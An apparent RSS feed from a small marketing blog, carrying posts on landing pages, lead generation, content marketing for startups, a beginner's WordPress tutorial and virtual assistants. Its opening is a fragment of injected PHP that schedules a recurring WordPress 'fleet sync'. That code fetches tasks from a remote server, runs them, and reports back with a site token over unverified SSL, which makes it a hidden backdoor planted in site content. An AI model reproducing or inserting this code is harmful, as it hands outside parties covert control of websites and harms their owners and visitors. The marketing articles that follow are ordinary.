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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); John, Author at Social Media Dudes https://socialmediadudes.com/author/john-panico/ Sun, 17 Jan 2021 13:52:42 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png John, Author at Social Media Dudes https://socialmediadudes.com/author/john-panico/ 32 32 How to Showcase Your Products and Services on Landing Pages https://socialmediadudes.com/how-to-showcase-your-products-and-services-on-landing-pages/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-showcase-your-products-and-services-on-landing-pages Sat, 23 Jan 2021 06:48:00 +0000 https://socialmediadudes.com/?p=1053 The post How to Showcase Your Products and Services on Landing Pages appeared first on Social Media Dudes.

]]> Many marketers set up email, advertising or social media campaigns and direct their prospects and customers to the landing pages of their website. However, if you don’t properly showcase your products and services on your landing page, those pages don’t convert.  And that means you might as well throw money right down the drain. It is simply a waste of hard-earned marketing dollars.

The purpose of a website page is to display general information about your business and your products and services. Each page has several links encouraging the visitor to explore. This is why landing pages are so significant. There are mainly 2 types: lead generation pages allow you to collect email addresses in order to launch a nurturing program and informative pages, on the other hand, aim to provide enough information about a product or service to encourage the purchase.

Landing pages can also be used for event or webinar registrations, newsletter subscriptions, content downloads or any other marketing initiative.

A landing page is created for one goal, one post, and one potential click. Remove all distractions so your visitors have a clear view of the action to be taken. Create a landing page for each campaign with a specific objective.

A successful page takes more than putting together some pretty pictures, some text, and a call to action. Think about your goal, your strategy, add a little creativity and make sure to monitor your performance indicators.

What is a landing page for and what is it for?

A landing page is mainly used in the context of an advertising campaign. It is, therefore, a page specifically created to welcome your visitor and quickly strengthen the offer you are advertising.

If the visitor is on this page, your ad has piqued their interest. It, therefore, remains to complete the argument and finish convincing him.

A landing page is essential to the success of your campaign

The major goal of a landing page is adaptation. All the elements of this page must therefore be designed in order to get the Internet user to take a defined action: buy a product or a service, subscribe to a newsletter, fill out a form, watch a video, etc… It is therefore essential to clearly define your objective before starting the design.

Even today, I too often hear goals based on the number of visitors. A landing page will be a success if your target engages. Even if you manage to get your page to 10,000 people, if you convert 2, it will be a failure.

Why?

For a page to be displayed in the results of a search in search engines like Google, the text that composes it must be considered relevant to the research.
Basically, if you want your site to show up when someone searches for the term “Home Spirit sofa”, you need to have a page that talks about Home Spirit sofas. It’s the minimum.

The basics: characteristics of a sales page that converts

In theory, creating a sales page should be pretty straightforward. The goal? Provide enough information to the customer to persuade them of the effectiveness of your product and allow them to justify their purchasing decision. Rosara Joseph, a content strategy expert at Venture Web, elaborates:

“The ultimate goal of your sales pages should be to give visitors confidence and provide all the information required to make an informed buying decision and make the process as smooth as possible.”

At this point, you probably need some practical information to get a better idea of ​​things.

Here are 4 tips for creating landing pages that convert.

1.   Create a good first impression!

Did you know that it only takes about 50 milliseconds (0.05 seconds) for a human to form an opinion on your website? This means that your overall design, structure, colors, font, spacing and amount of text should be developed with short intervals of visitor attention in mind.

When it comes to landing page design, clean and elegant are goals to achieve. Don’t fill every empty space on your page with text and graphics. Keep it simple and clutter-free. Remember, you want visitors to remember ONE message and take ONE action.

2.   Use a simple and interesting message!

Landing pages are not the right place to display all your different promotions or try to quote all the possible and imaginable features and benefits of a product.

Match your message – that is, your headlines, writings and calls to action – with the precise intent of the visitor. For example, if a visitor clicked on an ad to get an eBook, promote the value of that book.

What will the visitor get from his reading? Compelling text is key, no matter how spectacular your design is. Pique the reader’s curiosity with an inspiring or intriguing headline. The body of the text must be relevant, clear and oriented towards solutions. Avoid using “we” and focus it all on “you”.

3.   Limit content above the waterline!

Although some experts claim that people hate scrolling a page, this is not necessarily true. Evidence to the contrary exists everywhere. People have no problem scrolling if the page is designed for it and the content is eye-catching.

That being said, above the waterline is still the place readers will go first. Make sure to include a headline, subhead, call to action and a strong image to engage visitors. You can always add benefits and recommendations later in your page.

4.   Use calls to action!

If you add multiple links and buttons, visitors will inevitably be attracted by the call-to-action. Ideally, use two to three calls to action on your page. However, give readers only one option: subscribe, subscribe, download, buy, etc. Make sure the button text is clear. Now is not the time to show that you know the more complex words in the dictionary.

Indeed, make sure that what will happen after the click is clear, both from the point of view of the design and the message. For example, if the call to action indicates registering for a webinar, the next page and/or email should detail the next steps and include the date and time as well as the link to log in. Make the process as easy as possible so that visitors are rewarded for their action with an enjoyable, hassle-free experience.

Your landing pages have a big impact on the success of your overall marketing campaigns. After all, you invest a lot of resources in attracting leads and upselling your existing customers. Encouraging these initiatives with attractive landing pages can only be beneficial.

 

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]]> How to Generate High Quality Leads For Your Website https://socialmediadudes.com/generate-high-quality-leads-for-your-website/?utm_source=rss&utm_medium=rss&utm_campaign=generate-high-quality-leads-for-your-website Sun, 15 Nov 2020 19:00:00 +0000 https://socialmediadudes.com/?p=1030 The post How to Generate High Quality Leads For Your Website appeared first on Social Media Dudes.

]]> You have a brand-new website for your business that you want to let the world know about you.  You followed that up by creating your profiles on social networks. All you need to do now is get in touch with people interested to potentially buy your merchandise and/or services. The purpose of a lead generation strategy is everything. You won’t have clients if you don’t have leads.  Leads are the lifeblood of every business. Still the question you ask yourself is “How do I generate high quality leads from my website?”

Let’s see what lead generation is, its components and how you go about setting up an effective lead generation strategy.

What is lead generation?

Lead generation is an integral part of an inbound marketing strategy, the objective of which is to naturally attract a user to your site by offering them targeted and relevant offers.

First, let’s talk about the basics of leads and lead generation. A lead is a source from which you have effectively received information (could be email, phone or other data) and who has a particular interest in your business. The generation of leads corresponds to all the actions and marketing techniques put in place to obtain information from potential prospects.

These marketing actions and techniques will create a process that will attract the lead to your conversion funnel. For this, it will be necessary to rely on various web marketing techniques such as the production of premium content and resources, linking strategy, emailing, social networks, as well as your blog.

It should also be noted that there is a level of “test & learn” involved in developing an accurate and efficient lead generation process. Indeed, you can establish a conversion funnel by testing and retesting, which will allow you to generate leads systematically. The goal will then be to transform leads into customers.

How to generate leads?

To generate leads, you have to rely on various web-marketing techniques. The goal is to make you visible to prospects, offer quality content that meets their needs, demonstrates you are an expert in your niche and that resonate with your approach.

Begin by setting up a conversion path (often referred to as a funnel). The foundation can be your content but might start by providing what is called a “lead magnet”.  A lead magnet is something of value that you are willing to provide for free in exchange for the prospect providing information (such as email address, phone number, etc)

The goal is to bring the lead into your funnel until their information is captured. If they provide their data to you, it is because the prospect is interested in what you sell/market.  Lead magnets typically don’t “qualify” the prospect as a true buyer, but more of an “interested” nature.  It is up to you to further qualify them by leading them through your funnel.  This is done with subsequent emails and offerings that will help you determine exactly where their interest is and whether you have a “hot” lead or not.

Lead generation: the techniques and tools

  • Generate leads with content: it is vital to have feature content to attract your target. Without content, you can’t do anything. This is why you must define a content strategy adapted to your target: computer graphics, video, white paper, e-book, blog articles… an editorial line and set up a publication calendar.
  • SEO: making content is better, but it’s even best if it’s optimized. It must be referenced for the material to be available on the internet. SEO optimization is key. Your keywords, backlinks, meta title and description have to be worked on.
  • Social networks: It is important to create a community on social networks in order to get more traffic. This will help you to distribute and enhance your reputation with your content.
  • Online advertising: it’s an effective technique when you need to get traffic quickly. Using paid search or advertising on social networks will allow you to distribute your content.
  • Emailing: When you know your target and your contact base is well segmented, the use of email is powerful for producing leads. The advantage is to be able to send personalized content.

By relying on these main techniques, not only do you generate traffic to your site, but you also gain visibility. And with the right content at every stage of your conversion funnel, you make sure you’re generating leads.

The main measures for a good strategy of lead generation

For a good lead generation approach, what are the key steps and essential points to consider? Here are the primary ones.

Step 1 – Review your target demographic

A good lead generation approach starts by identifying the target demographic/persona you are trying to attract. If you don’t know your target, you run the risk of targeting the wrong people, so they won’t qualify. To get good leads, you have to work on your buyers’ personas. It is by knowing their purchasing behavior and criteria, their purchasing process, their objections and objectives, etc. that you can provide appropriate content.

Stage 2-Identifying the goals of your conversion and lead generation campaign

You need to be specific on the objectives for conversion. Not all leads are designed to end up as a sale.  You may want to attract people to a webinar, brand awareness, introduce a new product or service, or to be seen as a subject matter expert.  You will need to determine when a visitor has turned into a lead. To be called a lead, what action must the visitor take on your site?

Your campaign priorities for lead generation should also be established. How many visitors for conversion do you need? What is the number of new customers that are expected?

To define your goals, you can rely on SMART goals (specific, measurable, acceptable, realistic and time-bound).

Step 3 – Have a content strategy

To generate leads, a content strategy is essential! As we saw above, content helps attract visitors to your site and respond to their issues. Certain “premium” content such as white papers for example helps to ensure your notoriety and expertise in your field.

Do not forget the distribution of your content via social networks, emailing, and advertising to gain visibility and make yourself known.

Step 4 – Work in collaboration with your sales teams

Leads come more naturally when there is an alignment between content and sales campaign efforts.  Your results will not be as good if all of your content is on a different area of your business than the type of lead you desire.

Some people grade leads on a more granular level than cold or hot.  This applies to the allocation of points during the implementation of lead scoring for example. This is best done by creating that funnel that naturally grades people to their level of interest and buying likelihood.

Step 5 – Performance Analysis

Finally, do not neglect the performance analysis of your lead generation campaign. If your goals aren’t living up to your expectations and aren’t being met, don’t worry. To generate leads effectively, you have to test and retest your conversion tunnel, set up the one that will generate more leads and refine your buyers’ personas according to the latest data collected.

To finalize the conversion, drive visitors to a dedicated Landing (“squeeze”) page

A clear landing page is a place in its own right, where the conversion of a lead takes place. The landing page is a page on your site where you present your lead magnet in exchange for their information. Your landing page should be focused on one thing only, getting the visitor to provide their info.  So, you want to create a page that creates a positive experience for your reader by offering high added-value information such as a white paper, infographic or an expert report.

It has an essential role, which must be looked after.

A single purpose page

The first rule of an optimal landing page is its centralization/concentration on a single subject and a single action offered to your audience. In order not to scatter your future lead, it only establishes one clearly presented proposal that is linked to a coherent CTA (Call To Action).

Through its writing, the landing page must allow readers not to be distracted by facts other than that of discovering the interest of the offer proposed. Each of your campaigns brings traffic that the landing page will convert into Lead. It is advisable to create a landing page for each operation.

Landing pages are living and are subject to constant changes in order to optimize as high a conversion rate as possible. The more your landing page will be optimized, clear and relevant, the more likely you will be to generate qualified leads.

A page with strategic characteristics

A successful landing page is one that keeps the message consistent and that the offer delivers on its’ promise. Like the CTA guiding on the landing page, it must have several characteristics to maximize lead generation:

  • The main title, a crucial element that clearly sets out the subject and the general benefit
  • A subtitle, in reinforcement, which offers more information on the content offered
  • A visual of the content, to have a clear idea of ​​the gain
  • A concise description of the benefits
  • A form comprising only the fields that are necessary for you to qualify your prospects

After clicking on your CTA for more information on a topic they’re interested in, they will be taken to a landing page. It is designed to tell them about premium content, with clarity and simplicity, and to invite them to enter their contact details if they wish to download the content.

55% more leads are what companies observe when they go from 10 to 15 landing pages. (HubSpot)

Quite simply because companies that generate 60% of their leads online will grow 4 times faster than those that do not have a lead generation strategy. (HingeMarketing)

The action of generating Leads represents the desire to attract and convert anonymous visitors into qualified prospects. It’s a complex and strategic process that every good marketer must put in place.

Your Takeaway…

Leads are the lifeblood of any business.  They are the foundation of your business’ success and growth.  Creating compelling content that converts visitors into leads sounds simple, but in fact is a challenge.  If creating content that is going to attract the right visitors to your site, check out our content generation service.

Creating content that is valuable to visitors is only part of the equation of generating leads.  Consider it the supporting link.  You will need a lead magnet that has so much value that visitors will want to provide you their information in order to have it.  You will present your lead magnet offer on a landing page. Landing pages have one purpose.  They tell the visitor you understand their issues and that your lead magnet provides a solution.  It is of singular purpose only to get them to provide their data to get the value you are providing.

What are you doing to get your lead generation in swing for your business?  Leave a comment below.

 

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]]> How to Develop Efficient Content Marketing for Startups https://socialmediadudes.com/how-to-develop-efficient-content-marketing-for-startups/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-develop-efficient-content-marketing-for-startups Sat, 24 Oct 2020 14:03:41 +0000 https://socialmediadudes.com/?p=1018 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″][et_pb_row _builder_version=”4.4.7″][et_pb_column type=”4_4″ _builder_version=”4.4.7″][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″] Businesses must grow to survive, and fast-growing businesses have several strategies for […]

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Businesses must grow to survive, and fast-growing businesses have several strategies for doing so. We can describe the strategy as the creation of a unique and valuable proposition for any business to startup, grow and survive.

Any side hustle or business startup is faced with a major challenge: deploying an effective strategy in a market that is still new and poorly defined, or even nonexistent, and finding the first customers who will buy its product or service. The goal is to generate growth as quickly as possible by hitting hard.

No matter how experienced you are in content marketing, it’s always a good idea to review your strategy and, at the same time, your target audience. Indeed, the market has never been as competitive as it is today. So how do you differentiate yourself? The first step in getting yourself a step ahead of your competition is to develop an effective content marketing strategy.

Why develop a content marketing strategy?

Content marketing allows companies to create reliable and cost-effective sources of traffic and new leads. Imagine writing just one blog post that generates regular organic traffic: you can, thanks to a link embedded in an e-book or a free tool, continue to generate leads over time.

This reliable source of traffic and leads allows you to test other marketing strategies to generate revenue, such as sponsored content, social media advertising, and broadcast content. Also, this content allows you not only to attract leads but also to inform your potential leads and increase the visibility of your brand.

Now let’s break down each step of how to create a content marketing plan.

1 – Define your goal

What is the goal of your content marketing plan? Why do you want to produce content and create such a strategy?

Before establishing your strategy, determine your objectives, this will make it easier to define what is best suited to it.

2 – Perform an analysis of your personas

To set up an effective plan, you need to clearly define the target audience, also known as the buyer persona.

This step is essential, especially for marketers who are just starting or those who do not yet have a marketing strategy. Knowing your target audience will allow you to produce more relevant content that your leads will want to read and that will encourage them to take a given action.

Even if you already have experience as a marketer, your targets may not be the same anymore. Whether you want to target a new group or expand your current audience or keep the same target audience, re-evaluating your personas each year through market research is essential.

3 – Perform a content audit

Most businesses start with blogging, but if you want to take it a step further, study the content you want to produce. For example, if you’ve previously posted blog posts every week, you might want to create an eBook that bundles all of your posts together to provide a comprehensive guide in a different format. This article discusses several types of content that you can offer.

If you already have a strategy, assess your marketing efforts and the results achieved over the past year. Then figure out what you can do differently for the coming year and set new goals. It is advisable to adopt the goals of your team to those of the company in general.

4 – Choose a content management system

It is important to have a system that allows you to manage your content. Some of the essentials of content management are creating, publishing, and analyzing content.

If you use WordPress’s CMS, you can plan, produce, publish and measure your results from one platform.

5 – Define what types of content to create

There are many options for content. Here are some of the most popular formats with marketers, along with some tools and templates to help you out.

Blog posts

The content that you are browsing right now is a blog post. This format, hosted on a website, must be published regularly to attract new visitors. These articles should provide valuable content to your audience, to encourage them to share them on social networks and other websites.

It is recommended that you write 1,000-2,000 word articles, but feel free to assess for yourself whether your audience prefers longer or shorter content.

E-books

E-books are lead generation tools available for download when potential customers have submitted their contact details via a form. They are generally longer, more in-depth, and published less frequently than blog posts, written to attract visitors to a website.

E-books are the next step in the inbound marketing process: after reading a blog post, visitors sometimes want to know more and fill in their contact details to access an e-book that will provide them with important information for their business. . The company offering the e-book thus has a new lead to contact.

Infographics

Infographics are a more compelling way to organize and visualize data than just words. This format is ideal for sharing a large amount of data clearly and simply.

Videos

Videos are a very attractive medium intended to be shared on social networks and websites.

They require a larger investment of time and resources than written content, but they have gained in value since the development of visual marketing. Indeed, compared to other types of content, they are 40 times more likely to be shared on social networks, according to a study by HubSpot.

Podcasts

A podcast allows listeners to experience your brand differently. Their number is increasing: in 2016, around 57 million people listened to podcasts every month. If you want to chat with specific people or lead conversations, feel free to use this medium.

External content

If you’ve been posting content on your site regularly for a while, it might be time to consider posting your content to other sites. This could involve:

  • The publication of website content on social networks, such as LinkedIn.
  • Reuse content in new formats and publish them on your blog or social networks.
  • Creating original content specifically for external sites, such as Medium.

When you have found new ideas, you will have at your disposal various types of content to diversify your website.

6 – Publish and manage your content

Your marketing plan should plan not only for the types of content you will create but also how you will organize it. An editorial calendar will allow you to offer a balanced and diverse list of content on your website. Then create a social media content calendar to organize and manage your content on other sites.

Many of the ideas you think are as relevant today as they will be in a few months. That being said, it is recommended that you cover more current topics as well. Even if these don’t make up the bulk of your editorial calendar, they will allow you to generate spikes in traffic.

Most businesses incorporate holidays such as Christmas or New Year into their marketing efforts. You do not have to limit yourself to these important dates, if some less popular events interest your audience, feel free to post content on your blog or social media about them.

Yet every business needs a solid content and marketing plan to ensure it grows over time. However, it can be tricky for a startup to know where to start to create an effective content marketing strategy. Effective content allows startups to communicate economically, without having to incur costs in advertising agencies as expensive as they are renowned. A holistic content marketing strategy is going to be necessary to generate leads and conversions, that is to say, transform simple contacts into

Your takeaway…

Whether or not you are just starting out or if you have been in business for a while, generating business is paramount to survival.  And while ads are proven to work, they are a “one and done” experience.  Content marketing can continue to generate opportunities long after they have been created.

Learning to put together an effective content management and marketing strategy requires attention.  And if you find yourself knowing that you need one and either don’t have the time or inclination, then consider someone like the Social Media Dudes creating the content for you.

Hiring someone else to write your content can be a great time saver, assuming you hire the right person or company to write your content for you (shameless plug for the services we offer).  In order to do a great job, they need to understand your business and offerings. Fees can either be flat rate or by the word.

Still not sure?  Read Why Should You Be Buying Blog Posts? and decide for yourself.

 What have you found to be the most effective content marketing strategy that has worked for you?  Leave a comment and tell us your thoughts.

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]]> WordPress Tutorial For Beginners 2020 [Made Easy] https://socialmediadudes.com/wordpress-tutorial-for-beginners-2020-made-easy/?utm_source=rss&utm_medium=rss&utm_campaign=wordpress-tutorial-for-beginners-2020-made-easy Sun, 11 Oct 2020 23:10:10 +0000 https://socialmediadudes.com/?p=1008 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″ custom_padding=”0px||0px||true|false” hover_enabled=”0″][et_pb_row _builder_version=”4.4.7″][et_pb_column _builder_version=”4.4.7″ type=”4_4″][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″ hover_enabled=”0″] I’m going to be walking you through how to […]

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I’m going to be walking you through how to use WordPress and then ultimately, how to set up a cool website just like this one. If you are a do it yourselfer or just don’t have the funds to have a site created for you, I am going to show you the step by step process. Even if you have little or no experience making a website previously, you are going to be fine. 

Before we get started, I’m just going to cover a few things to give you a framework to work from.  Then, we will do the step by step process on how you can make a WordPress website. 

Hosting

Hosting of your is a concept that you may not be familiar with. It’s the place where all your content (blog posts, articles) are stored.  Included in that is all of your photos and videos and basically everything that’s on your website is stored there.  

When asked, I describe it to folks like this.  You are thinking of building a new home.  The first thing you do once you have to do is decide on the land you are going to build on.  You can’t build a house without the land to build it on.  I have used a variety of hosting services.  I currently use BlueHost.  The reason that I use them is based on studies done of all hosting services, they were the quickest in terms of page latency and had least downtime of all major providers. 

BlueHost has other features such as unlimited domain hosting (we will talk about domains in a minute), automatic WordPress installation and unlimited email addresses for free.  When I added the features to the performance, it was a no brainer to move to them.  Not to say that there aren’t other quality hosting services.  But I really like what BlueHost is doing.  By the way, you are getting all of that for less than $50 for the year!

Domain is your house address

Once you have secured the land (hosting), the next thing on the construction list is the domain. Think of the domain as your house address.  If your home is in the middle of the forest, it is hard to give directions to get there.  Domains such as this one (SocialMediaDudes.com) or others (SideHustleConnection.com or ShelbyandBailey.com) are your web address.

I use NameCheap and have used GoDaddy to purchase my domains.  By and large, the best practice is to have separate services for your domain and your hosting.  That being said, I have seen lots of my customers buy everything together.

Domain names can be a challenge these days, so create a list of possible domains that will work for you.  Try to keep it as short as possible (people may have to type that into their browser).  Your domain should give some indication of what you are about or the products/services you provide. 

Installing WordPress

Most hosting services provides 1 click installation of WordPress.  I have posted other articles on why I think you should use WordPress, but overall, the reasons are that it is user friendly and allows you to change the look of the site with one click of a button by changing the theme (more about that in a moment)  I am going to walk you through setting up WordPress on BlueHost.

Let’s get started.  On the left-hand menu, click on My Sites and then in blue box in the upper right-hand corner, click on “Create Site”.  That will bring you to a page that asks you “How would you like to build your website?”  Click on the “Use WordPress” box on the left side of the page.

WordPress is going to ask you some foundational questions such as the name of your site.  The name of your site may be different than your domain (and mostly likely is slightly different).  It will also ask you for a tag line.  Tag lines are akin to slogans.  These are optional and if provided, will show up on your website. Click on the submit button.

What comes up next is: “What domain do you want WordPress installed on?  There is a dropdown menu of all of your available domains (most people have more than one, but definitely not a requirement).  Select the domain you want to install WordPress on and click the Next button.

WordPress installed successfully!

Just as easy as that, WordPress is installed.  Your username/password is available here (and will also be emailed to you), so now let’s get started on finishing up your site!  Click on the “Login to WordPress” link.  This will automatically take you to your WordPress dashboard – and this is the place where you go whenever you want to edit your site!

A quick note:  the next time you want to make changes to your site, you are going to use your domain/wp-admin (example jpanico.com/wp-admin) 

You are ready!  Let’s Rock This Site!

Once you have logged into your site, the first thing we’re gonna do is install our theme. The theme is going to represent how your site looks and feels.  There are a ton of both free and paid themes out there.  My advice is to do a google search for the type of site you are.  In my example, I might do a search for:  free baked goods WordPress themes.   Don’t get overwhelmed with choosing the wrong theme.  One of the best features of a WordPress site is that you can change the entire look of your site by changing themes with just one click.  It is easy. 

A quick note.  Make sure that you are choosing Themes that are “responsive” (mobile device friendly)

On the left-hand menu, click on Appearance/Themes.  You will see there are some default themes there, but most likely you want something better.  Click on the “Add New Theme” + box.

If you found and downloaded a theme from the internet, click on the “Upload Theme” box at the top.  Otherwise, you might be better served by click on the Feature Filter and put in the subject, Features and Layout options that you are wanting your site to have.  Then put in a description in the Search themes box on the right.

Search through the themes, previewing the ones that catch your interest. Once you have found the theme you want, select it and click the Install button.  You may want to install multiple themes to compare.  You will need to click on the Activate button on the theme you want to use.  Changing themes is done by just activating a different theme.

Now that your theme has been installed, the next thing you may want to do is edit some of your site info. Most themes will have a Customize button where you can make edits to fonts, colors, Header images, Menus and Homepage settings.  Be sure that you save your changes.  While I want you to know where to do this, let’s wait for a minute because there are some things you will probably want to add before making all of the decisions.  That being said, you can edit things like fonts, Contact info and Social Media icon settings and then come back later. 

Get the basics set up!

On the left-hand menu, click on Settings.  Take a moment to look at these and make changes as necessary.  I am not going to take you through every setting, but there are a few that you are going to most likely want to change.

  • General – Timezone and Date/Time formats. If you don’t want your tagline showing up (maybe because it is part of your logo), remove it here.
  • Writing – Default Post Category – Categories are found under Posts/Categories. When you create a blog post, you can assign one or more categories to it.  What this allows a visitor to do is to find similar posts in the same category.  Think of the different subjects (categories) that you might be writing about and create them.  Don’t worry if the list is not complete.  You can always add new ones.  Select the Default Post Category here to save you time.
  • Reading – Most likely, this will be covered in your Theme customization, but things to consider are if you want the full text or a summary of your blog post to display.
  • Discussion – Determine if you want to have people comment on your site. If you do decide to do so, I would advise that you check “A comment is held for moderation” checkbox.  You don’t want people putting links on your site that are not appropriate.
  • Permalinks – I recommend that you use Post name. Makes it easier for search engines in general.  Can you do something a little more advanced?  Yes, but let’s walk before you run.
  • Privacy – To be clear, you need a privacy page. You will have to follow privacy laws.  You can use the default page or search the internet for something you are more comfortable with.  Take the time to review this. 

Set up your site pages

Before we generate site pages, let’s talk about the Media menu.  This is where your sites pictures and videos are held.  You can add any pics/videos you think you are going to use here.  Or you can add pictures to the Media library as you need them.

Let’s go to the Pages menu.  Under the All Pages selection, there is most likely a Sample and Privacy page.  We spoke above of addressing the Privacy page.  Here is where you are going to add pages such as:

  • About – Where you indicate about your business, how you got involved and maybe some background on yourself/family.
  • Contact Page – Give people wanting to reach out to you a way to contact with you. You may think to put your email address on your page, but you should also be prepared for a good bit of spam.  I am not saying to omit but know what you are getting yourself into.
  • Services/Products – Highlight the offerings that your business provides.
  • FAQ’s – Frequently Asked Questions pages help you to qualify your potential customer and minimize questions that are routinely thought of, but sometimes never asked.
  • Blog – Blogs are posted that are posted regularly that helps portray you as an expert in your field. Don’t sell yourself short here.  You are further ahead than other folks and they may just like your style/approach.

Create any pages you want and begin to populate it with content.  The beauty about using WordPress is that you can be working on these pages and keep them private until you are ready to “Publish”.  Don’t worry about the order of the pages just yet.  We are going to sequence them in a few minutes.  Use Page names to provide site visitors a clear understanding of where they are going.

Now that the pages have been created, let’s walk through how to enter content.  In the text block type (or copy and paste from a document you created) into the box.  Make changes to the Header/Paragraph level, what you want bolded, links to other parts of your site or to other sites, etc. You can easily add media by clicking on the + button and then Image, which will allow you to select a current picture/video or adding a new one.  When adding pictures, be aware of the size of the picture you are adding to the page as it will impact the speed.

To add media on the fly, click Change image and then you can just go here to upload files and then you pick your file. The title of your page is what is going to show up at the top on the site menu.

To sequence the pages in the order you want on your site, go to Appearance/Menus. Create a Menu Name and then select all of the Pages you want to display.  (Pages have to be “published” in order to show up here).  Once you select the pages, you are then able to put them into the order you want.  You can even do sub-menus if you like.  For example, you might have a Products page, but then have different pages for the types of products.  Baked goods/Cakes/Pies/etc If you want to rearrange them, you can just go move them up or down and then if you also want to put something in a subcategory, all you have to do is just move it to the right and that will make it into a subcategory.   

Blog posts

Blog posts can be a variety of post types (written, video or audio). We are just going to take baby steps here and create a written post.  On the menu, click Posts/Add New. You will need to add a Title (think search engine optimization), and then fill in the content in the same manner as you did on the pages.

Just filling in the content (and adding media) is not the end of the post. Be sure to add a Featured Image, select 1 or more Categories and add tags.  Tags are similar to Categories but are probably more finite.  More importantly, they play a big part in SEO and having you get found organically. 

Don’t forget Theme Customization

Let’s circle back to the Appearance or Theme Customizations to make any edits we need.  Some of these edits are going to be whether or not you have a Home page that has a slider, what pages those sliders will link to, whether or not you want to display blog posts (and how many) on your home page, etc.

Your Customizations may include a Footer page.  A Footer page is where you can provide consistent details about your site and might include a map location, contact information, site pages and other details. 

WordPress Plugins

Don’t think that just because you aren’t a total geek (you are making your own website, so you kind of are), that your website can’t have some cool functionality.  Plugins are bits of software that work with WordPress to either extend or expand on the functionality of your site.  Some act behind the scenes and some are more customer facing.  I will do a further post about plugins, but they can help you with SEO, make a contact form or so many other things.

To install a plugin, go to Plugins/Add new.  Search for a plugin (for example Yoast SEO), select it and then Activate it.  Some plugins need configured, so check on that to make sure you are getting the full benefit of what they are supposed to do.  If you have a plugin and decide not to use it, you can either deactivate it or delete it.

Anytime you want to see how your website looks like to the world, you can click at the top where the name of your site is.  A dropdown will display “Visit site”.  You can navigate your site, test out functionality and toggle back to the dashboard to make changes when you are ready. 

Launch your site!

You should be proud of yourself!  But keep in mind that all the work that has been done is not accessible to the public..yet!  You have pretty much been in preview mode as you have been steadily working to get your site ready.  In fact, if you gave anyone your website address, they would see “Coming Soon!”. 

But you are ready to have friends, family (and hopefully customers) see it.  On the Dashboard, at the top, you will see the link “launch your site”   It will then have you push one more button and your site is then live on the internet.

Congrats!  Job well done!

Your Takeaway…

A WordPress website for your business is something you can do.  You don’t have to be a super geek to have something you can be proud of.  So, if you have the time and patience (it will take a little of both) and your budget doesn’t provide for a professional, I will tell you it is better to have a site than not 100% of the time  (maybe with a few “qualified exceptions”)

But you CAN create a great looking website that people will want to do business with you if you take a little time to do it correctly.

However, I also want you to remember this.  We are decades past “build it and they will come”.  Websites need feeding of content that is updated consistently.  If you use good SEO tactics, you will attract an audience over time.  You will most likely need to promote your website by either doing some sort of advertising or through social media.  They both work.

Finally, if you don’t feel like you are up to the task, perhaps you have already started and the site isn’t looking like you want or maybe you have so many other things on your plate, that you want your website done by a pro, click here and let’s discuss your needs.  Consultations are free and I may be able to provide you a few tips/insights to get you there on your own.

Was this article helpful?  If so, please comment below.

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]]> How To Use A Virtual Assistant! https://socialmediadudes.com/how-to-use-a-virtual-assistant/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-use-a-virtual-assistant Fri, 18 Sep 2020 11:38:06 +0000 https://socialmediadudes.com/?p=985 The post How To Use A Virtual Assistant! appeared first on Social Media Dudes.

]]> Calling on virtual assistants to help you set up your project can be difficult if you have just started your business, and your budget has also just started … But as you develop and your time will become more and more precious, outsourcing certain aspects of your business to independent professionals can be a great source of help.

Some tasks may be left entirely to a third party, while others are part of a whole in which you must also participate. Either way, being able to rely on someone else makes you less stressed, more productive, and even earns more money (because you’re focusing on what you’re really good at). What else?

The right person can sometimes even ensure the proper development of your business without you having to intervene too much. But while you will have to get involved at one point or another, the benefits are indisputable.

Let’s take a closer look at how you go about finding all the help you need, including areas you might not have thought of.

Recruitment and administration

Most businesses, whether internet-based or not, usually use an assistant first. Virtual assistants work exclusively online and do all your administrative tasks for you. They are sometimes specialized in a particular field, for example, the management of social networks.

A virtual assistant can perform several administrative tasks for you, such as:

  • Organize meetings
  • Process your emails
  • Train your new recruits
  • Respond to your customers’ emails
  • Sales/appointment management Manage your documents and keep your databases up to date 
  • Schedule interviews/guest posting opportunities 
  • Perform customer service 
  • Manage social media 
  • Reach out to potential joint venture opportunities 
  • Update your web site/post blog posts

Some of these tasks may take you a minute to get comfortable with having someone do on your behalf.  But take it from me.  The more you use your VA, the easier and more effective your relationship will be for both of you.

Encourage them to ask you as many questions as he needs before throwing him in the deep end. The clearer that you are on what you want done, the better job they will do.

Research

Having your VA perform research for your business is one of the most useful tasks to have them do and which can have a massive impact on your business. . Some of the things that can be researched by your VA are:

  • Find relevant links and statistics to publish a blog post
  • Create a comparative report on prices, advantages and disadvantages, and all other data to help you better manage your business or make you more aware of what your competitors are up to.
  • Monitor the news in your sector to select the best information to relay via social networks

